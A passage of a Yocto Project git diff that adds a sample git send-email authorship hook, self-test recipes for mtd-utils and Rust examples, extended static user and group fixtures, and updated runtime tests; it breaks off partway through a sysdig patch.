+See [https://wiki.yoctoproject.org/wiki/Stable_Release_and_LTS Stable release and LTS]
+for detailed info regarding the policies and maintenance of Stable branches.
+
+The [https://wiki.yoctoproject.org/wiki/Releases Release page] contains a list of all
+releases of the Yocto Project. Versions in grey are no longer actively maintained with
+security patches, but well-tested patches may still be accepted for them for
+significant issues.
diff --git a/contrib/git-hooks/sendemail-validate.sample b/contrib/git-hooks/sendemail-validate.sample
new file mode 100755
index 0000000000..af5d55cb00
--- /dev/null
+++ b/contrib/git-hooks/sendemail-validate.sample
@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+
+# Copyright (C) 2020 Agilent Technologies, Inc.
+# Author: Chris Laplante <chris.laplante@agilent.com>
+
+# This sendemail-validate hook injects 'From: ' header lines into outgoing
+# emails sent via 'git send-email', to ensure that accurate commit authorship
+# information is present. It was created because some email servers
+# (notably Microsoft Exchange / Office 360) seem to butcher outgoing patches,
+# resulting in incorrect authorship.
+
+# Current limitations:
+# 1. Assumes one per patch per email
+# 2. Minimal error checking
+#
+# Installation:
+# 1. Copy to .git/hooks/sendemail-validate
+# 2. chmod +x .git/hooks/sendemail-validate
+
+
+import enum
+import re
+import subprocess
+import sys
+
+
+class Subject(enum.IntEnum):
+ NOT_SEEN = 0
+ CONSUMING = 1
+ SEEN = 2
+
+
+def make_from_line():
+ cmd = ["git", "var", "GIT_COMMITTER_IDENT"]
+ proc = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, universal_newlines=True)
+ regex = re.compile(r"^(.*>).*$")
+ match = regex.match(proc.stdout)
+ assert match is not None
+ return "From: {0}".format(match.group(1))
+
+
+def main():
+ email = sys.argv[1]
+
+ with open(email, "r") as f:
+ email_lines = f.read().split("\n")
+
+ subject_seen = Subject.NOT_SEEN
+ first_body_line = None
+ for i, line in enumerate(email_lines):
+ if (subject_seen == Subject.NOT_SEEN) and line.startswith("Subject: "):
+ subject_seen = Subject.CONSUMING
+ continue
+ if subject_seen == Subject.CONSUMING:
+ if not line.strip():
+ subject_seen = Subject.SEEN
+ continue
+ if subject_seen == Subject.SEEN:
+ first_body_line = i
+ break
+
+ assert subject_seen == Subject.SEEN
+ assert first_body_line is not None
+
+ from_line = make_from_line()
+ # Only add FROM line if it is not already there
+ if email_lines[first_body_line] != from_line:
+ email_lines.insert(first_body_line, from_line)
+ email_lines.insert(first_body_line + 1, "")
+ with open(email, "w") as f:
+ f.write("\n".join(email_lines))
+
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
+
diff --git a/meta-selftest/classes/base-do-configure-modified.bbclass b/meta-selftest/classes/base-do-configure-modified.bbclass
new file mode 100644
index 0000000000..9175bb8ad9
--- /dev/null
+++ b/meta-selftest/classes/base-do-configure-modified.bbclass
@@ -0,0 +1,3 @@
+base_do_configure:append () {
+ echo "this changes base_do_configure() definiton "
+}
diff --git a/meta-selftest/classes/test-mkimage-wrapper.bbclass b/meta-selftest/classes/test-mkimage-wrapper.bbclass
new file mode 100644
index 0000000000..7c98d7b71e
--- /dev/null
+++ b/meta-selftest/classes/test-mkimage-wrapper.bbclass
@@ -0,0 +1,19 @@
+# Class to test UBOOT_MKIMAGE and UBOOT_MKIMAGE_SIGN
+# (in conjunction with kernel-fitimage.bbclass)
+#
+# SPDX-License-Identifier: MIT
+#
+
+UBOOT_MKIMAGE = "test_mkimage_wrapper"
+UBOOT_MKIMAGE_SIGN = "test_mkimage_signing_wrapper"
+
+test_mkimage_wrapper() {
+ echo "### uboot-mkimage wrapper message"
+ uboot-mkimage "$@"
+}
+
+test_mkimage_signing_wrapper() {
+ echo "### uboot-mkimage signing wrapper message"
+ uboot-mkimage "$@"
+}
+
diff --git a/meta-selftest/conf/layer.conf b/meta-selftest/conf/layer.conf
index 37570aa833..763ea011d4 100644
--- a/meta-selftest/conf/layer.conf
+++ b/meta-selftest/conf/layer.conf
@@ -9,4 +9,6 @@ BBFILE_COLLECTIONS += "selftest"
BBFILE_PATTERN_selftest = "^${LAYERDIR}/"
BBFILE_PRIORITY_selftest = "5"
-LAYERSERIES_COMPAT_selftest = "gatesgarth"
+addpylib ${LAYERDIR}/lib oeqa
+
+LAYERSERIES_COMPAT_selftest = "styhead"
diff --git a/meta-selftest/conf/multiconfig/muslmc.conf b/meta-selftest/conf/multiconfig/muslmc.conf
new file mode 100644
index 0000000000..043cd1ccc3
--- /dev/null
+++ b/meta-selftest/conf/multiconfig/muslmc.conf
@@ -0,0 +1,2 @@
+TCLIBC = "musl"
+TMPDIR = "${TOPDIR}/tmp-mc-musl"
diff --git a/meta-selftest/files/static-group b/meta-selftest/files/static-group
index 9213b8e9bc..f7a66de24d 100644
--- a/meta-selftest/files/static-group
+++ b/meta-selftest/files/static-group
@@ -11,4 +11,19 @@ avahi:x:509:
avahi-autoipd:x:510:
rpc:x:511:
rpcuser:x:513:
-
+dhcpcd:x:514:
+sshd:x:516:
+lpadmin:x:517:
+crontab:x:518:
+tracing:x:519:
+pulse:x:520:
+bind:x:521:
+builder:x:522:
+_apt:x:523:
+weston-launch:x:524:
+weston:x:525:
+wayland:x:526:
+render:x:527:
+sgx:x:528:
+ptest:x:529:
+xuser:x:530:
diff --git a/meta-selftest/files/static-passwd b/meta-selftest/files/static-passwd
index 412f85d469..cc6c5acd5c 100644
--- a/meta-selftest/files/static-passwd
+++ b/meta-selftest/files/static-passwd
@@ -9,3 +9,13 @@ avahi-autoipd:x:510:510::/:/bin/nologin
rpc:x:511:511::/:/bin/nologin
distcc:x:512:nogroup::/:/bin/nologin
rpcuser:x:513:513::/var/lib/nfs:/bin/nologin
+dhcpcd:x:514:514::/:/bin/nologin
+tester:x:515:515::/:/bin/nologin
+sshd:x:516:516::/:/bin/nologin
+pulse:x:520:520::/:/bin/nologin
+bind:x:521:521::/:/bin/nologin
+builder:x:522:522::/:/bin/nologin
+_apt:x:523:523::/:/bin/nologin
+weston:x:525:525::/:/bin/nologin
+ptest:x:529:529::/:/bin/nologin
+xuser:x:530:530::/:/bin/nologin
diff --git a/meta-selftest/lib/oeqa/runtime/cases/dnf_runtime.py b/meta-selftest/lib/oeqa/runtime/cases/dnf_runtime.py
index 64a3502370..d2f0f88f7d 100644
--- a/meta-selftest/lib/oeqa/runtime/cases/dnf_runtime.py
+++ b/meta-selftest/lib/oeqa/runtime/cases/dnf_runtime.py
@@ -10,7 +10,8 @@ class DnfSelftest(DnfTest):
import tempfile
cls.temp_dir = tempfile.TemporaryDirectory(prefix="oeqa-remotefeeds-")
cls.repo_server = HTTPService(os.path.join(cls.tc.td['WORKDIR'], 'oe-rootfs-repo'),
- cls.tc.target.server_ip)
+ '0.0.0.0', port=cls.tc.target.server_port,
+ logger=cls.tc.logger)
cls.repo_server.start()
@classmethod
diff --git a/meta-selftest/lib/oeqa/runtime/cases/virgl.py b/meta-selftest/lib/oeqa/runtime/cases/virgl.py
index c0abfd1b16..f19cdee9f0 100644
--- a/meta-selftest/lib/oeqa/runtime/cases/virgl.py
+++ b/meta-selftest/lib/oeqa/runtime/cases/virgl.py
@@ -9,10 +9,10 @@ class VirglTest(OERuntimeTestCase):
def test_kernel_driver(self):
status, output = self.target.run('dmesg|grep virgl')
self.assertEqual(status, 0, "Checking for virgl driver in dmesg returned non-zero: %d\n%s" % (status, output))
- self.assertIn("virgl 3d acceleration enabled", output, "virgl acceleration seems to be disabled:\n%s" %(output))
+ self.assertIn("features: +virgl", output, "virgl acceleration seems to be disabled:\n%s" %(output))
@OETestDepends(['virgl.VirglTest.test_kernel_driver'])
def test_kmscube(self):
- status, output = self.target.run('kmscube', timeout=30)
+ status, output = self.target.run('kmscube')
self.assertEqual(status, 0, "kmscube exited with non-zero status %d and output:\n%s" %(status, output))
- self.assertIn('renderer: "virgl"', output, "kmscube does not seem to use virgl:\n%s" %(output))
+ self.assertIn('renderer: "virgl', output, "kmscube does not seem to use virgl:\n%s" %(output))
diff --git a/meta-selftest/lib/pseudo_pyc_test1.py b/meta-selftest/lib/pseudo_pyc_test1.py
new file mode 100644
index 0000000000..b59abdd536
--- /dev/null
+++ b/meta-selftest/lib/pseudo_pyc_test1.py
@@ -0,0 +1 @@
+STRING = "pseudo_pyc_test1"
diff --git a/meta-selftest/lib/pseudo_pyc_test2.py b/meta-selftest/lib/pseudo_pyc_test2.py
new file mode 100644
index 0000000000..fb67a978e0
--- /dev/null
+++ b/meta-selftest/lib/pseudo_pyc_test2.py
@@ -0,0 +1 @@
+STRING = "pseudo_pyc_test2"
diff --git a/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest/0001-tests-Remove-unused-linux-fs.h-header-from-includes.patch b/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest/0001-tests-Remove-unused-linux-fs.h-header-from-includes.patch
new file mode 100644
index 0000000000..73d4a8475f
--- /dev/null
+++ b/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest/0001-tests-Remove-unused-linux-fs.h-header-from-includes.patch
@@ -0,0 +1,31 @@
+From 6fb10bd18488ed84776675bc1b2982800a51d839 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 6 Aug 2022 20:14:38 -0700
+Subject: [mtd-utils][PATCH] tests: Remove unused linux/fs.h header from includes
+
+This header is not needed, moreover it includes linux/mount.h which is
+now in conflict[1] with glibc provided sys/mount.h from glibc 2.36 onwards
+
+[1] https://sourceware.org/glibc/wiki/Release/2.36
+
+Upstream-Status: Submitted [https://lists.infradead.org/pipermail/linux-mtd/2022-August/094667.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tests/fs-tests/lib/tests.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/tests/fs-tests/lib/tests.c b/tests/fs-tests/lib/tests.c
+index d1a2e0c..3db0426 100644
+--- a/tests/fs-tests/lib/tests.c
++++ b/tests/fs-tests/lib/tests.c
+@@ -35,7 +35,6 @@
+ #include <sys/vfs.h>
+ #include <sys/mount.h>
+ #include <sys/statvfs.h>
+-#include <linux/fs.h>
+ #include <linux/jffs2.h>
+
+ #include "tests.h"
+--
+2.37.1
+
diff --git a/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest_git.bb b/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest_git.bb
new file mode 100644
index 0000000000..ca2141c972
--- /dev/null
+++ b/meta-selftest/recipes-devtools/mtd/mtd-utils-selftest_git.bb
@@ -0,0 +1,77 @@
+SUMMARY = "Tools for managing memory technology devices"
+HOMEPAGE = "http://www.linux-mtd.infradead.org/"
+DESCRIPTION = "mtd-utils tool is a generic Linux subsystem for memory devices, especially Flash devices."
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
+ file://include/common.h;beginline=1;endline=17;md5=ba05b07912a44ea2bf81ce409380049c"
+
+inherit autotools pkgconfig update-alternatives
+
+DEPENDS = "zlib e2fsprogs util-linux"
+RDEPENDS:mtd-utils-tests += "bash"
+
+PV = "2.1.4"
+
+SRCREV = "c7f1bfa44a84d02061787e2f6093df5cc40b9f5c"
+SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master \
+ file://0001-tests-Remove-unused-linux-fs.h-header-from-includes.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+# xattr support creates an additional compile-time dependency on acl because
+# the sys/acl.h header is needed. libacl is not needed and thus enabling xattr
+# regardless whether acl is enabled or disabled in the distro should be okay.
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'xattr', d)} lzo jffs ubifs"
+PACKAGECONFIG[lzo] = "--with-lzo,--without-lzo,lzo"
+PACKAGECONFIG[xattr] = "--with-xattr,--without-xattr,acl"
+PACKAGECONFIG[crypto] = "--with-crypto,--without-crypto,openssl"
+PACKAGECONFIG[jffs] = "--with-jffs,--without-jffs"
+PACKAGECONFIG[ubifs] = "--with-ubifs,--without-ubifs"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
+
+EXTRA_OEMAKE = "'CC=${CC}' 'RANLIB=${RANLIB}' 'AR=${AR}' 'CFLAGS=${CFLAGS} ${@bb.utils.contains('PACKAGECONFIG', 'xattr', '', '-DWITHOUT_XATTR', d)} -I${S}/include' 'BUILDDIR=${S}'"
+
+# Use higher priority than corresponding BusyBox-provided applets
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
+ALTERNATIVE:${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
+
+ALTERNATIVE_LINK_NAME[nandwrite] = "${sbindir}/nandwrite"
+ALTERNATIVE_LINK_NAME[nanddump] = "${sbindir}/nanddump"
+ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
+ALTERNATIVE_LINK_NAME[ubidetach] = "${sbindir}/ubidetach"
+ALTERNATIVE_LINK_NAME[ubimkvol] = "${sbindir}/ubimkvol"
+ALTERNATIVE_LINK_NAME[ubirename] = "${sbindir}/ubirename"
+ALTERNATIVE_LINK_NAME[ubirmvol] = "${sbindir}/ubirmvol"
+ALTERNATIVE_LINK_NAME[ubirsvol] = "${sbindir}/ubirsvol"
+ALTERNATIVE_LINK_NAME[ubiupdatevol] = "${sbindir}/ubiupdatevol"
+ALTERNATIVE_LINK_NAME[flash_eraseall] = "${sbindir}/flash_eraseall"
+ALTERNATIVE_LINK_NAME[flash_lock] = "${sbindir}/flash_lock"
+ALTERNATIVE_LINK_NAME[flash_unlock] = "${sbindir}/flash_unlock"
+ALTERNATIVE_LINK_NAME[flashcp] = "${sbindir}/flashcp"
+
+do_install () {
+ oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} INCLUDEDIR=${includedir}
+}
+
+PACKAGES =+ "mtd-utils-misc mtd-utils-tests"
+PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "jffs", "mtd-utils-jffs2", "", d)}"
+PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "ubifs", "mtd-utils-ubifs", "", d)}"
+
+FILES:mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
+FILES:mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
+FILES:mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
+FILES:mtd-utils-tests = "${libexecdir}/mtd-utils/*"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# git/.compr.c.dep:46: warning: NUL character seen; rest of line ignored
+# git/.compr.c.dep:47: *** missing separator. Stop.
+PARALLEL_MAKE = ""
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-devtools/python/python-async-test.inc b/meta-selftest/recipes-devtools/python/python-async-test.inc
index c9602e8e52..a7dd1744f2 100644
--- a/meta-selftest/recipes-devtools/python/python-async-test.inc
+++ b/meta-selftest/recipes-devtools/python/python-async-test.inc
@@ -1,7 +1,7 @@
SUMMARY = "Python framework to process interdependent tasks in a pool of workers"
HOMEPAGE = "http://github.com/gitpython-developers/async"
SECTION = "devel/python"
-LICENSE = "BSD"
+LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=88df8e78b9edfd744953862179f2d14e"
inherit pypi
@@ -11,6 +11,6 @@ PYPI_PACKAGE = "async"
SRC_URI[md5sum] = "9b06b5997de2154f3bc0273f80bcef6b"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
-RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+RDEPENDS:${PN} += "python3-threading"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta-selftest/recipes-devtools/rust/rust-c-lib-example-bin_git.bb b/meta-selftest/recipes-devtools/rust/rust-c-lib-example-bin_git.bb
new file mode 100644
index 0000000000..47d878597a
--- /dev/null
+++ b/meta-selftest/recipes-devtools/rust/rust-c-lib-example-bin_git.bb
@@ -0,0 +1,16 @@
+DESCRIPTION = "A simple example for C wrapper around a rust library"
+HOMEPAGE = "https://gitlab.com/fmartinsonsHome/rust-c-lib-example"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=cb9c441273ed8a029701a086befbfc63"
+
+SRC_URI = " \
+ git://gitlab.com/fmartinsonsHome/rust-c-lib-example.git;branch=main;protocol=https \
+"
+
+SRCREV = "fc53c457f69aa5221ec1f8619a007e8150db5e60"
+S = "${WORKDIR}/git"
+
+DEPENDS = "rust-c-lib-example"
+
+inherit meson pkgconfig
+
diff --git a/meta-selftest/recipes-devtools/rust/rust-c-lib-example-crates.inc b/meta-selftest/recipes-devtools/rust/rust-c-lib-example-crates.inc
new file mode 100644
index 0000000000..05f5949203
--- /dev/null
+++ b/meta-selftest/recipes-devtools/rust/rust-c-lib-example-crates.inc
@@ -0,0 +1,79 @@
+SRC_URI += " \
+ crate://crates.io/android-tzdata/0.1.1 \
+ crate://crates.io/android_system_properties/0.1.5 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/bumpalo/3.13.0 \
+ crate://crates.io/cc/1.0.82 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/chrono/0.4.26 \
+ crate://crates.io/core-foundation-sys/0.8.4 \
+ crate://crates.io/iana-time-zone/0.1.57 \
+ crate://crates.io/iana-time-zone-haiku/0.1.2 \
+ crate://crates.io/js-sys/0.3.64 \
+ crate://crates.io/libc/0.2.147 \
+ crate://crates.io/log/0.4.19 \
+ crate://crates.io/num-traits/0.2.16 \
+ crate://crates.io/once_cell/1.18.0 \
+ crate://crates.io/proc-macro2/1.0.66 \
+ crate://crates.io/quote/1.0.32 \
+ crate://crates.io/syn/2.0.28 \
+ crate://crates.io/time/0.1.45 \
+ crate://crates.io/unicode-ident/1.0.11 \
+ crate://crates.io/wasi/0.10.0+wasi-snapshot-preview1 \
+ crate://crates.io/wasm-bindgen/0.2.87 \
+ crate://crates.io/wasm-bindgen-backend/0.2.87 \
+ crate://crates.io/wasm-bindgen-macro/0.2.87 \
+ crate://crates.io/wasm-bindgen-macro-support/0.2.87 \
+ crate://crates.io/wasm-bindgen-shared/0.2.87 \
+ crate://crates.io/winapi/0.3.9 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/windows/0.48.0 \
+ crate://crates.io/windows-targets/0.48.1 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.0 \
+ crate://crates.io/windows_aarch64_msvc/0.48.0 \
+ crate://crates.io/windows_i686_gnu/0.48.0 \
+ crate://crates.io/windows_i686_msvc/0.48.0 \
+ crate://crates.io/windows_x86_64_gnu/0.48.0 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.0 \
+ crate://crates.io/windows_x86_64_msvc/0.48.0 \
+"
+
+SRC_URI[android-tzdata-0.1.1.sha256sum] = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
+SRC_URI[android_system_properties-0.1.5.sha256sum] = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[bumpalo-3.13.0.sha256sum] = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1"
+SRC_URI[cc-1.0.82.sha256sum] = "305fe645edc1442a0fa8b6726ba61d422798d37a52e12eaecf4b022ebbb88f01"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[chrono-0.4.26.sha256sum] = "ec837a71355b28f6556dbd569b37b3f363091c0bd4b2e735674521b4c5fd9bc5"
+SRC_URI[core-foundation-sys-0.8.4.sha256sum] = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa"
+SRC_URI[iana-time-zone-0.1.57.sha256sum] = "2fad5b825842d2b38bd206f3e81d6957625fd7f0a361e345c30e01a0ae2dd613"
+SRC_URI[iana-time-zone-haiku-0.1.2.sha256sum] = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+SRC_URI[js-sys-0.3.64.sha256sum] = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a"
+SRC_URI[libc-0.2.147.sha256sum] = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
+SRC_URI[log-0.4.19.sha256sum] = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4"
+SRC_URI[num-traits-0.2.16.sha256sum] = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2"
+SRC_URI[once_cell-1.18.0.sha256sum] = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
+SRC_URI[proc-macro2-1.0.66.sha256sum] = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9"
+SRC_URI[quote-1.0.32.sha256sum] = "50f3b39ccfb720540debaa0164757101c08ecb8d326b15358ce76a62c7e85965"
+SRC_URI[syn-2.0.28.sha256sum] = "04361975b3f5e348b2189d8dc55bc942f278b2d482a6a0365de5bdd62d351567"
+SRC_URI[time-0.1.45.sha256sum] = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a"
+SRC_URI[unicode-ident-1.0.11.sha256sum] = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c"
+SRC_URI[wasi-0.10.0+wasi-snapshot-preview1.sha256sum] = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
+SRC_URI[wasm-bindgen-0.2.87.sha256sum] = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342"
+SRC_URI[wasm-bindgen-backend-0.2.87.sha256sum] = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd"
+SRC_URI[wasm-bindgen-macro-0.2.87.sha256sum] = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d"
+SRC_URI[wasm-bindgen-macro-support-0.2.87.sha256sum] = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b"
+SRC_URI[wasm-bindgen-shared-0.2.87.sha256sum] = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1"
+SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+SRC_URI[windows-0.48.0.sha256sum] = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f"
+SRC_URI[windows-targets-0.48.1.sha256sum] = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f"
+SRC_URI[windows_aarch64_gnullvm-0.48.0.sha256sum] = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
+SRC_URI[windows_aarch64_msvc-0.48.0.sha256sum] = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
+SRC_URI[windows_i686_gnu-0.48.0.sha256sum] = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
+SRC_URI[windows_i686_msvc-0.48.0.sha256sum] = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
+SRC_URI[windows_x86_64_gnu-0.48.0.sha256sum] = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
+SRC_URI[windows_x86_64_gnullvm-0.48.0.sha256sum] = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
+SRC_URI[windows_x86_64_msvc-0.48.0.sha256sum] = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
diff --git a/meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb b/meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb
new file mode 100644
index 0000000000..6e7c250b92
--- /dev/null
+++ b/meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb
@@ -0,0 +1,15 @@
+DESCRIPTION = "A simple example for rust C library"
+HOMEPAGE = "https://gitlab.com/fmartinsonsHome/rust-c-lib-example"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=cb9c441273ed8a029701a086befbfc63"
+
+SRC_URI = " \
+ git://gitlab.com/fmartinsonsHome/rust-c-lib-example.git;branch=main;protocol=https \
+"
+
+SRCREV = "fc53c457f69aa5221ec1f8619a007e8150db5e60"
+S = "${WORKDIR}/git"
+
+inherit cargo_c
+
+require ${BPN}-crates.inc
diff --git a/meta-selftest/recipes-extended/hello-rs/hello-rs-crates.inc b/meta-selftest/recipes-extended/hello-rs/hello-rs-crates.inc
new file mode 100644
index 0000000000..9646482b28
--- /dev/null
+++ b/meta-selftest/recipes-extended/hello-rs/hello-rs-crates.inc
@@ -0,0 +1,8 @@
+# Autogenerated with 'bitbake -c update_crates hello-rs'
+
+# from Cargo.lock
+SRC_URI += " \
+ crate://crates.io/figlet-rs/0.1.5 \
+"
+
+SRC_URI[figlet-rs-0.1.5.sha256sum] = "4742a071cd9694fc86f9fa1a08fa3e53d40cc899d7ee532295da2d085639fbc5"
diff --git a/meta-selftest/recipes-extended/hello-rs/hello-rs/0001-Greet-OE-Core.patch b/meta-selftest/recipes-extended/hello-rs/hello-rs/0001-Greet-OE-Core.patch
new file mode 100644
index 0000000000..7569ccef7b
--- /dev/null
+++ b/meta-selftest/recipes-extended/hello-rs/hello-rs/0001-Greet-OE-Core.patch
@@ -0,0 +1,24 @@
+From 3aea1ece0ca6ac0bf0ffe42736827af22966f767 Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alexk@zuma.ai>
+Date: Wed, 27 Dec 2023 09:55:48 +0000
+Subject: [PATCH] Greet "OE-Core"
+
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+Upstream-Status: Inappropriate
+---
+ src/main.rs | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/main.rs b/src/main.rs
+index f4a310758b19..224eca65c38d 100644
+--- a/src/main.rs
++++ b/src/main.rs
+@@ -3,7 +3,7 @@ use hello_lib::greet;
+
+ fn main() {
+ let standard_font = FIGfont::standard().unwrap();
+- let greeting = greet(None);
++ let greeting = greet(Some("OE-Core"));
+ let figure = standard_font.convert(&greeting);
+ println!("{}", figure.unwrap());
+ }
diff --git a/meta-selftest/recipes-extended/hello-rs/hello-rs_0.1.0.bb b/meta-selftest/recipes-extended/hello-rs/hello-rs_0.1.0.bb
new file mode 100644
index 0000000000..9a136f2978
--- /dev/null
+++ b/meta-selftest/recipes-extended/hello-rs/hello-rs_0.1.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Simple hello world example"
+HOMEPAGE = "https://github.com/akiernan/hello-bin"
+LICENSE = "Unlicense"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7246f848faa4e9c9fc0ea91122d6e680"
+
+SRC_URI = "git://github.com/akiernan/hello-bin.git;protocol=https;branch=main;subpath=rust \
+ file://0001-Greet-OE-Core.patch \
+ git://github.com/akiernan/hello-lib.git;protocol=https;branch=main;name=hello-lib;destsuffix=hello-lib;type=git-dependency \
+ "
+SRCREV = "d3d096eda182644868f8e7458dcfa538ff637db3"
+
+SRCREV_FORMAT .= "_hello-lib"
+SRCREV_hello-lib = "59c84574e844617043cf337bc8fa537cf87ad8ae"
+
+S = "${WORKDIR}/rust"
+
+inherit cargo cargo-update-recipe-crates ptest-cargo
+
+# Remove this when the recipe is reproducible
+EXCLUDE_FROM_WORLD = "1"
+
+require ${BPN}-crates.inc
diff --git a/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0055-Add-cstdint-for-uintXX_t-types.patch b/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0055-Add-cstdint-for-uintXX_t-types.patch
new file mode 100644
index 0000000000..e564958dad
--- /dev/null
+++ b/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0055-Add-cstdint-for-uintXX_t-types.patch
@@ -0,0 +1,38 @@
+From 3d076ea588eb3c7f334133b4c31172a14beadf5b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 2 Feb 2023 20:18:27 -0800
+Subject: [PATCH] Add <cstdint> for uintXX_t types
+
+gcc 13 moved some includes around and as a result <cstdint> is no
+longer transitively included [1]. Explicitly include it
+for uintXX_t.
+
+[1] https://gcc.gnu.org/gcc-13/porting_to.html#header-dep-changes
+
+Upstream-Status: Submitted [https://github.com/falcosecurity/libs/pull/862]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ userspace/libsinsp/filter/parser.h | 1 +
